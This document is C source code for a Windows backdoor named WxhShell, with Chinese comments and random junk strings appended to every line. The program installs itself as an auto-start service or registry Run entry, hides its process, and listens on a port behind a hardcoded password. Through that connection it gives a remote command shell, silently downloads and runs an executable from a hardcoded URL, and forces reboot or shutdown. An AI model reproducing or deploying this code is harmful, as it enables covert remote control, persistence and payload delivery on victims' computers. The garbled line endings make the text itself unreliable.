    break; &TSt/b/+W  
    } -[v:1\Vv  
  // 关机 O1coay  
  case 'd': {  "=H7p3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #;a 1=8H  
    if(Boot(SHUTDOWN)) 7(eWBJfTo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fg?Gx(g4  
    else { qI<6% ^i  
    closesocket(wsh); ,v$gQU2  
    ExitThread(0); X}_}`wIn  
    } Q$W0>bUP  
    break; U n2xZ[4  
    } JTpKF_Za<  
  // 获取shell B @UaaWh  
  case 's': { 'rRo2oTN  
    CmdShell(wsh); rOB-2@-  
    closesocket(wsh); xzy7I6X  
    ExitThread(0); ,Vt7Kiu  
    break; 8[ 1D4d  
  } a |32Pn  
  // 退出 Rs{L  
  case 'x': { Qwk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oKz|hks[6  
    CloseIt(wsh); 18Vtk"j  
    break; >c\'4M8Cz  
    } i=reJ(y-  
  // 离开 ]~87v  
  case 'q': { xg'z_W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ME1lQ7E4B  
    closesocket(wsh); "4H&wHhT!  
    WSACleanup(); e\k=T}  
    exit(1); 7s,IT8ii  
    break; t'_Hp},  
        } Z~~{!C+G  
  } DL|,:2`  
  } 9]VUQl9gh  
<dD}4c+/t  
  // 提示信息 ~kYUp5f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?BQZ\SXU  
} X7{ueP#L  
  } Q4TI '/  
EkEM|<GNd  
  return; AASw^A3p  
} )}=`Gx5+  
A<r@,*(g  
// shell模块句柄 AR]y p{NS  
int CmdShell(SOCKET sock) II)\rVP5  
{ PLKp<kg  
STARTUPINFO si; *ZKI02M  
ZeroMemory(&si,sizeof(si)); WHqp7NPl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s,"<+80%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bra>C  
PROCESS_INFORMATION ProcessInfo; ?7@B$OlU  
char cmdline[]="cmd"; _,=A\C_b@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @~U: |h  
  return 0; 92WvD  
} :qc@S&v@]  
XN5EZ#  
// 自身启动模式 8*H-</ =  
int StartFromService(void) vmvk  
{ m7zen530  
typedef struct he wX)  
{ x %L2eXL  
  DWORD ExitStatus; k8F<j)"  
  DWORD PebBaseAddress; I0(BKMp&  
  DWORD AffinityMask; (8qMF{  
  DWORD BasePriority; n %"q>  
  ULONG UniqueProcessId; >:Na^+c  
  ULONG InheritedFromUniqueProcessId; dd@^e)VZB  
}   PROCESS_BASIC_INFORMATION; Ha1E /b]K  
84DneSpHsp  
PROCNTQSIP NtQueryInformationProcess; VtUe$ft  
Y _m4:9p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P \tP0+at  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dD?1te  
';hU&D;s  
  HANDLE             hProcess; lt|\$Iy(  
  PROCESS_BASIC_INFORMATION pbi; :@rE&  
BDNn~aU#m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P_B#  
  if(NULL == hInst ) return 0; -/ ; y*mP  
zu5'Ex`gQa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h +.8Rl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^&zwO7cS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,G!M?@Q  
P(_D%0xKm  
  if (!NtQueryInformationProcess) return 0; &dh%sFy  
n`2 d   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h=.|!u  
  if(!hProcess) return 0; nW3-)Q89  
yMq&9R9F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UQ:H3  
;o8C(5xE|  
  CloseHandle(hProcess); ,=O`'l >K  
AV Gu*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h$)(-_c3  
if(hProcess==NULL) return 0; ah1d0e P  
G+stt(k:  
HMODULE hMod; mp!KPw08':  
char procName[255]; <{bQl L  
unsigned long cbNeeded; )XmV3.rI  
}&I\a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]>E*s3h  
PUV)w\!&is  
  CloseHandle(hProcess); uM h[Ht^.  
V%8?f,  
if(strstr(procName,"services")) return 1; // 以服务启动 NZdjS9  
R  5-q{  
  return 0; // 注册表启动 <k<K"{  
} KtchK pv  
=dx!R ,Bw  
// 主模块 _Db=I3.HJ  
int StartWxhshell(LPSTR lpCmdLine) CL.JalR`b  
{ K#rfQ0QK/!  
  SOCKET wsl; OSQZ5:g|  
BOOL val=TRUE; S<rdPS*P  
  int port=0; au@ LQxKQ  
  struct sockaddr_in door; ,;)Y 1q}Q  
}l~|c{WH`  
  if(wscfg.ws_autoins) Install(); L^i=RGx  
Nz_c]3_j  
port=atoi(lpCmdLine); 7cW9@xPe  
X ,n4_=f  
if(port<=0) port=wscfg.ws_port; &lbxmUeU  
T6h-E^Z  
  WSADATA data; ."&,_F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; id<i|  
SNV~;@(h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )Fx"S.Ok  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9]fhH  
  door.sin_family = AF_INET; M(|Qvh{Q6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v".q578 0B  
  door.sin_port = htons(port); fftFNHP  
JQ=i{9iJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _x&;Fa%  
closesocket(wsl); gD10C,{  
return 1; {a^A-Xh[u  
} 0B fqEAl  
o(w!x!["  
  if(listen(wsl,2) == INVALID_SOCKET) { k4fc 5P  
closesocket(wsl); .) uUpY%K^  
return 1; B4yU}v  
} *GleeJWz  
  Wxhshell(wsl); 74Xk^  8  
  WSACleanup(); wI><kdz  
 UhN16|x  
return 0; ,@kD9n5#  
1^XuH('  
} ' N^\9X0  
d0Xb?- }3M  
// 以NT服务方式启动 TG7Ba[%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o`5p "v r  
{ ph{p[QI:{X  
DWORD   status = 0; $&~/`MxE  
  DWORD   specificError = 0xfffffff; O4RNt,?l  
~\kJir  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s7.2EkGl=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kP~'C'5Ys  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  %Xs3Lz  
  serviceStatus.dwWin32ExitCode     = 0; <6QG7 i  
  serviceStatus.dwServiceSpecificExitCode = 0; uMVM-(g%  
  serviceStatus.dwCheckPoint       = 0; %|E'cdvkX  
  serviceStatus.dwWaitHint       = 0; _Z?{&k  
@)PA9P |  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u$ C@0d  
  if (hServiceStatusHandle==0) return; =sy>_   
q9cmtZrm  
status = GetLastError(); mkgGX|k;  
  if (status!=NO_ERROR) 6hDK;J J&  
{ arJ4^  d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tlrr02>B{  
    serviceStatus.dwCheckPoint       = 0; IN=pki |.  
    serviceStatus.dwWaitHint       = 0; VH[r@Pn  
    serviceStatus.dwWin32ExitCode     = status; BCsz8U!  
    serviceStatus.dwServiceSpecificExitCode = specificError; MJNY#v3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vcn04j#Q  
    return; V ij P;  
  } f0p+l -iEv  
AQ n>K{M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dp`xyBQ3  
  serviceStatus.dwCheckPoint       = 0; 8|^dM$  
  serviceStatus.dwWaitHint       = 0; uo0g51%9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'f&o%5]  
} RrrW0<Ed  
r@N 0%JZZ  
// 处理NT服务事件,比如:启动、停止 j !^Tw.Ty  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Hncm  
{ M S 3?#b  
switch(fdwControl) +Go(y S  
{ :$k':0 n  
case SERVICE_CONTROL_STOP: .N2yn`  
  serviceStatus.dwWin32ExitCode = 0; HR)Dz~Obw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5\93-e  
  serviceStatus.dwCheckPoint   = 0; s2f9 5<B  
  serviceStatus.dwWaitHint     = 0; J)1:jieQ  
  { ~^d. zIN!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 79 zFF  
  } 0#(K}9T)  
  return; uC\FW6K=m  
case SERVICE_CONTROL_PAUSE: dmh6o *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u8ofgcFYE  
  break; ^0"^Xk*  
case SERVICE_CONTROL_CONTINUE: T}} 0hs;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N]n]7(e+0C  
  break; i9Fg  
case SERVICE_CONTROL_INTERROGATE: Q'-V\G)11  
  break; VBc[(8o  
}; eduaG,+k7p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \#4??@+Xf  
} z_%G{H+:l  
we'<Y  
// 标准应用程序主函数 D|-^}I4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x._IP,vRx^  
{ sYV7t*l  
[]HMUL]"  
// 获取操作系统版本 5.gM]si  
OsIsNt=GetOsVer(); (<sZ8n=AD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bqug o  
q6A!xQs<  
  // 从命令行安装 9pPb]v,6  
  if(strpbrk(lpCmdLine,"iI")) Install(); p- 5)J&  
_;mN1Te  
  // 下载执行文件 O%)@> 5#S  
if(wscfg.ws_downexe) { RjS;Ck@;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )"?6EsSF  
  WinExec(wscfg.ws_filenam,SW_HIDE); fDc>E+,  
} [8*Ovd  
cBf9-k  
if(!OsIsNt) { ;t!n%SnK9!  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,h21 h?6  
HideProc(); e&[gde(  
StartWxhshell(lpCmdLine); @|Z:7n6S  
} {MmHR  
else `@GqD  
  if(StartFromService()) >cwyb9;!kK  
  // 以服务方式启动 Z09FW>"u  
  StartServiceCtrlDispatcher(DispatchTable); K/RQ-xd4  
else H5t 9Mg|  
  // 普通方式启动 (H*-b4]/  
  StartWxhshell(lpCmdLine); "8K>Yu17  
R'a%_sACj>  
return 0; wu?ahNb.`Y  
} AH`n  
?]%JQ]Gf*  
xsK{nM6g  
%bf+Y7m  
=========================================== $q*kD#;mh  
-1Y9-nn[m  
gyH'92ck  
/x.TF'Z*  
Q,Tet&in )  
]2G5ng' @  
" <%eY>E  
`B+%W  
#include <stdio.h> yu"Ii-9z  
#include <string.h> 2}j2Bhc  
#include <windows.h> ={' "ATX(U  
#include <winsock2.h> ~XGO^P"?  
#include <winsvc.h> a2W}Wb+  
#include <urlmon.h> h"VQFqQy  
Tks;,C  
#pragma comment (lib, "Ws2_32.lib") {9TWPB/>  
#pragma comment (lib, "urlmon.lib") "cjZ6^Hum  
Mr'}IX5  
#define MAX_USER   100 // 最大客户端连接数 M,V+bt  
#define BUF_SOCK   200 // sock buffer HE&,?vioy  
#define KEY_BUFF   255 // 输入 buffer ~ `2w ul  
}GvoQ#N  
#define REBOOT     0   // 重启 G%)?jg@EA  
#define SHUTDOWN   1   // 关机 >Bp%~8f  
xO'I*)  
#define DEF_PORT   5000 // 监听端口 ~45u a  
E#"QaI8`  
#define REG_LEN     16   // 注册表键长度 \C.%S +u  
#define SVC_LEN     80   // NT服务名长度 1A^iUC5)  
i} 96, {  
// 从dll定义API P8NKp O\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >JT{~SRB|Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U`q[5U"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8)/i\=N3;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GkMNV7"m  
T#Pz_ hAu  
// wxhshell配置信息 04tUf3 >  
struct WSCFG { AIsM:sV]  
  int ws_port;         // 监听端口 2'g< H-[  
  char ws_passstr[REG_LEN]; // 口令 =fMSmn1S  
  int ws_autoins;       // 安装标记, 1=yes 0=no O{8"f\*  
  char ws_regname[REG_LEN]; // 注册表键名 b3b 4'l   
  char ws_svcname[REG_LEN]; // 服务名 hTI8hh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .;WJ(kB\U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (ohkM`83k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 THH rGvb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3(P^PP8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 475yX-A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  N>`+{  
"M6a_rZ2W  
}; FW7+!A&F  
Ff>Y<7CQ v  
// default Wxhshell configuration pH#&B_S6z=  
struct WSCFG wscfg={DEF_PORT, b qB[ vPsI  
    "xuhuanlingzhe", R7*Jb-;$!  
    1, Wq)'0U;{$  
    "Wxhshell", A{h hnrr8  
    "Wxhshell", , >Y. !  
            "WxhShell Service", kN9S;o@)  
    "Wrsky Windows CmdShell Service", $N;!. 5lX3  
    "Please Input Your Password: ", Lhl) pP17  
  1, L5T)_iQ5  
  "http://www.wrsky.com/wxhshell.exe", ^ vI|  
  "Wxhshell.exe" R+]p -NI^  
    }; %9M; MK  
D{o1G?A  
// 消息定义模块 yP0P-8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iM2 EEC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fEs957$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GG"0n{>0  
char *msg_ws_ext="\n\rExit."; Js+d4``W  
char *msg_ws_end="\n\rQuit."; ^FgNg'"[3  
char *msg_ws_boot="\n\rReboot..."; J'9&dt  
char *msg_ws_poff="\n\rShutdown..."; "W6 nW  
char *msg_ws_down="\n\rSave to "; xmKa8']x  
yG&kP:k<  
char *msg_ws_err="\n\rErr!"; S "oUE_>  
char *msg_ws_ok="\n\rOK!"; <6/XE@"   
>0 !J]gK  
char ExeFile[MAX_PATH]; 4\pA^%73  
int nUser = 0; d1e'!y}R5  
HANDLE handles[MAX_USER]; &o"Hb=k<  
int OsIsNt; }=A6Jv(j  
T.ub! ,Y  
SERVICE_STATUS       serviceStatus; :&yRvu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \!ESmxSa;  
SUD]Wl7G`r  
// 函数声明 =)M8>>l  
int Install(void); -Kg@Sj/U}R  
int Uninstall(void); 'lC"wP&$  
int DownloadFile(char *sURL, SOCKET wsh); '5ky<  
int Boot(int flag); XyS#6D  
void HideProc(void); u4VQx,,  
int GetOsVer(void); ]&/jvA=\l,  
int Wxhshell(SOCKET wsl); ibzYY"D:  
void TalkWithClient(void *cs); rShi"Yw  
int CmdShell(SOCKET sock); *(?YgV  
int StartFromService(void); O#O~A |  
int StartWxhshell(LPSTR lpCmdLine); #a#~YSnG  
"EEE09~l\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b]RCe^E1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 344,mnAd  
j,/o0k,  
// 数据结构和表定义 W\.f:"2qr  
SERVICE_TABLE_ENTRY DispatchTable[] = /<:9NP'^  
{ 74gU 4T  
{wscfg.ws_svcname, NTServiceMain}, H'gPGOd  
{NULL, NULL} lG# &Pv>-  
}; K'?ab 0  
bG^eP :r  
// 自我安装 Jr17pu(t  
int Install(void) 4n3QW%#  
{ 2IjqT L  
  char svExeFile[MAX_PATH]; hN\E8"To  
  HKEY key; w41#? VC/  
  strcpy(svExeFile,ExeFile); hph 3kfR  
Jq6p5jr"  
// 如果是win9x系统,修改注册表设为自启动 W[^XG\  
if(!OsIsNt) { v@>hjie  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P]Gsc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *\VQ%_wg  
  RegCloseKey(key); o\|dm. "f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dj!J 4uD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YY7:WQS  
  RegCloseKey(key); =m}{g/Bk  
  return 0; AL|fL  
    } U^pe/11)H  
  } 1MB  
} S<p "k]  
else {  EVq<gGy  
S}Mxm 2  
// 如果是NT以上系统,安装为系统服务 !@VmaAT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kjz,p^Y\  
if (schSCManager!=0) $ya#-pi`;  
{ Eq.c;3  
  SC_HANDLE schService = CreateService "#4PU5.  
  ( -D!F|&$  
  schSCManager, I*lq0&  
  wscfg.ws_svcname, boN)C?"^h  
  wscfg.ws_svcdisp, *[.\ S3K`  
  SERVICE_ALL_ACCESS, 6Ir ?@O1'!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T$}<So|  
  SERVICE_AUTO_START, 42m`7uQ  
  SERVICE_ERROR_NORMAL, 8 6L&u:o:  
  svExeFile, h)y"?Jj  
  NULL, :hMuxHr  
  NULL, /_}v|E0  
  NULL, H>M%5bj  
  NULL, (^Nf;E  
  NULL &q":o 'q  
  ); W{-N,?z  
  if (schService!=0) j,1,;  
  { <EBp X   
  CloseServiceHandle(schService); sXhtn' <v  
  CloseServiceHandle(schSCManager); ~Zj?%4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h+Q ==  
  strcat(svExeFile,wscfg.ws_svcname); k.lnG5e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mD)Nh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8<]> q  
  RegCloseKey(key); a?JU(  
  return 0; x(S 064  
    } tY[y?DJ  
  } *\joaw  
  CloseServiceHandle(schSCManager); l,v:[N  
} Qy6Avw/$  
}  bM-Y4[  
}*R" yp  
return 1; :m37Fpz&b  
} 8tdUnh%/  
"%.#/!RG  
// 自我卸载 Z&.FJZUP  
int Uninstall(void) *E$D,  
{ RisrU  
  HKEY key; *K+*0_  
G %#us3x  
if(!OsIsNt) { 2}}~\C}o+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s#d# *pgzh  
  RegDeleteValue(key,wscfg.ws_regname); 5X`.2q=d  
  RegCloseKey(key); 7PisX!c,h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C&5T;=<jKO  
  RegDeleteValue(key,wscfg.ws_regname); y!v$5wi  
  RegCloseKey(key); @{ nT4{  
  return 0; Vm6^'1CY  
  } u*9C(je  
} }XXE hOO  
} k"sL.}$  
else { QY^ y(I49  
EI_J7J+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IsRsjhg8x  
if (schSCManager!=0) @ym7hk.  
{ Yb?#vpI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qlgh$9  
  if (schService!=0) Uc6U!X  
  { R/b=!<  
  if(DeleteService(schService)!=0) { 2#E;5UYu  
  CloseServiceHandle(schService); *=sU+x&X  
  CloseServiceHandle(schSCManager); 1i>)@{P&BN  
  return 0; ;ib~c,  
  } KK] >0QAY  
  CloseServiceHandle(schService); d9^=#ot  
  } pixI&iQ  
  CloseServiceHandle(schSCManager); ' l!QGKz  
} lhjPS!A~  
} |QzPY8B9O  
nB:Bw8U"Q  
return 1; xv%}xeE V  
} qh&K{r*T  
6Edqg   
// 从指定url下载文件 QU#/(N(U#T  
int DownloadFile(char *sURL, SOCKET wsh) '8Gw{&&  
{ R -h7c!ko  
  HRESULT hr; Tl1?5  
char seps[]= "/"; ~]yqJYiid^  
char *token; my} P\r.  
char *file; L`Ic0}|lzy  
char myURL[MAX_PATH]; Z7f~|}  
char myFILE[MAX_PATH]; d@l;dos),  
CjST*(,b  
strcpy(myURL,sURL); <y'ttxeS  
  token=strtok(myURL,seps); @+ 2Zt%  
  while(token!=NULL) V2y[IeSQ  
  { P`oR-D  
    file=token; D=OU61AA  
  token=strtok(NULL,seps); >N3{*W  
  } MD On; Af>  
A9R}74e4g  
GetCurrentDirectory(MAX_PATH,myFILE); 3n/L; T,X  
strcat(myFILE, "\\"); Jg Xbs+.  
strcat(myFILE, file); Z g'[.wov  
  send(wsh,myFILE,strlen(myFILE),0); 2 43DdIG$  
send(wsh,"...",3,0); "*T)L<G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [cH/Y2[  
  if(hr==S_OK) {otvJ |'N  
return 0; ~Ep&:c4:D  
else  o _CVZ  
return 1; y~dW=zO  
r'!l` gm,S  
} ECSC,oJ  
K:Ap|F  
// 系统电源模块 \.{JS>!  
int Boot(int flag) H}$#aXEAn  
{ T8\,2UWsj2  
  HANDLE hToken; %sq=lW5R{b  
  TOKEN_PRIVILEGES tkp; K)v(Z"  
:{AN@zC0\  
  if(OsIsNt) { hlVP_h"z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K l4",  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "s*{0'jo  
    tkp.PrivilegeCount = 1; !kIw835U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4v!@9.!vQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6JL 7ut  
if(flag==REBOOT) { | -R::gm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f>'7~69  
  return 0; =?2y <B  
} Ky'^AN]  
else { u)V*o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PQ[TTLG\&  
  return 0; K4rr.f6  
} t.zSJ|T_&O  
  } m0edkt-x  
  else { V4"AFArI  
if(flag==REBOOT) { SB;Wa%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >}I}9y+  
  return 0; }+B7C2_\  
} f&`*x t/  
else { h1Lp:@:|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \uYUX~}i"  
  return 0; >hhd9  
} Uyh   
} ^U =`Rx  
ufJFS+?  
return 1; <hea%6  
} CxRp$;rk  
Q?>#sN,  
// win9x进程隐藏模块 wiVQMgi`  
void HideProc(void) ?1{`~)"  
{ @U)'UrNr~  
X XF9oy8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JC#@sJ4az)  
  if ( hKernel != NULL ) Dux`BKl  
  { G^R;~J*TDE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y}Dp{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DYl^6 ]  
    FreeLibrary(hKernel); dbLX}>  
  } 3UaP7p+d  
Z 0:2x(x9  
return; JTI m`t"d=  
} . 9 NS  
9j 8t<5s  
// 获取操作系统版本 OBl8kH(b>  
int GetOsVer(void) ZMe|fn  
{ 3x'30  
  OSVERSIONINFO winfo; X+3)DE\2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e\dT~)c  
  GetVersionEx(&winfo); sV6A& Aw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w0IB8GdF  
  return 1; y(R*Z^c}d,  
  else !G,$:t1-=V  
  return 0; @v'D9 ?  
} I%&9`ceWY  
c,qCZ-.Sg  
// 客户端句柄模块 0 mQ3P.9  
int Wxhshell(SOCKET wsl) \XN5))  
{ @b/2'  
  SOCKET wsh; KH7]`CU  
  struct sockaddr_in client; KCFwO'  
  DWORD myID; mx[^LaR>v  
qh'BrYu*  
  while(nUser<MAX_USER) JA}'d7yEa  
{ ? 1{S_  
  int nSize=sizeof(client); @Otc$hj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oD7H6\_  
  if(wsh==INVALID_SOCKET) return 1; oL@ou{iQ  
-7$'* V9$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {q)B@#p  
if(handles[nUser]==0) h=tu +pn  
  closesocket(wsh); 16y$;kf8  
else c-T ^ aR  
  nUser++; gh}AD1TN]  
  } z|<oxF.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]Yu+M3Fq  
_HK& KY  
  return 0; 8?YW i  
} l!  y _P  
D5>~'N3b  
// 关闭 socket (0Qq rNs  
void CloseIt(SOCKET wsh) !VHIl&Mos  
{ t/1NTa  
closesocket(wsh); _pGviGR  
nUser--; =QfKDA  
ExitThread(0); aX%Zuyny  
} hN53=X:  
hn|E<  
// 客户端请求句柄 #[W[ |m  
void TalkWithClient(void *cs) UT~2}B9fc  
{ E, fp=.  
nc~d*K\!  
  SOCKET wsh=(SOCKET)cs; @,&m`qzd+  
  char pwd[SVC_LEN]; @>@Nu g2   
  char cmd[KEY_BUFF]; QL2y,?Mz7  
char chr[1]; B|=maz:_  
int i,j; X-,y[ )  
LwPM7S~ *  
  while (nUser < MAX_USER) { cv4M[]U~  
2S6EDXc  
if(wscfg.ws_passstr) { \,!q[nC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f ti|3c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )T5h\ZO`;  
  //ZeroMemory(pwd,KEY_BUFF); HdUW(FZ  
      i=0; yTt (fn:;  
  while(i<SVC_LEN) { ->&VbR)  
_ICDtG^  
  // 设置超时 S1`0d9ds#  
  fd_set FdRead; `_A?a_[*  
  struct timeval TimeOut; PJ@,01  
  FD_ZERO(&FdRead); *UoHzaIqz  
  FD_SET(wsh,&FdRead); "T%'Rp`j|  
  TimeOut.tv_sec=8; p.] .M"A  
  TimeOut.tv_usec=0; AV4HX\`{P0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cu^*x/0,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TY\"@(Q|G  
<57l|}8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /VO@>Hoh  
  pwd=chr[0]; _0q~s@-  
  if(chr[0]==0xd || chr[0]==0xa) { 8{fz0H.<?  
  pwd=0; FqxOHovE  
  break; 1GE%5  
  } ><MgIV  
  i++; QeJ.o.m{  
    } Qz(T[H5%W  
Yb3f]4EH  
  // 如果是非法用户,关闭 socket ENWB|@B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wV&f|JO0+  
} +7< >x-+  
]MLLr'6?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y6Epi|8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {dx /p-Tv  
(E}cA&{  
while(1) { *.]E+MYi*  
:2)1vQH0L  
  ZeroMemory(cmd,KEY_BUFF); 6a?$=y  
Gi2ad+QH-  
      // 自动支持客户端 telnet标准   H\+c'$  
  j=0; 5%+bWI{w  
  while(j<KEY_BUFF) { pb6^sA%l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `vxrC&,As  
  cmd[j]=chr[0]; {&E Z>r-  
  if(chr[0]==0xa || chr[0]==0xd) { ^=Ct Aa2  
  cmd[j]=0; $:E}Nj]{&  
  break; j$8|ym^OX  
  } vZeYp  
  j++; $`5lvy^  
    } I,<54? vS  
)cK  tc  
  // 下载文件 nuO3UD3  
  if(strstr(cmd,"http://")) { hY= s9\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JM-ce8U  
  if(DownloadFile(cmd,wsh)) oUvk2]H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <%>n@A  
  else 7{^4 x#NO  
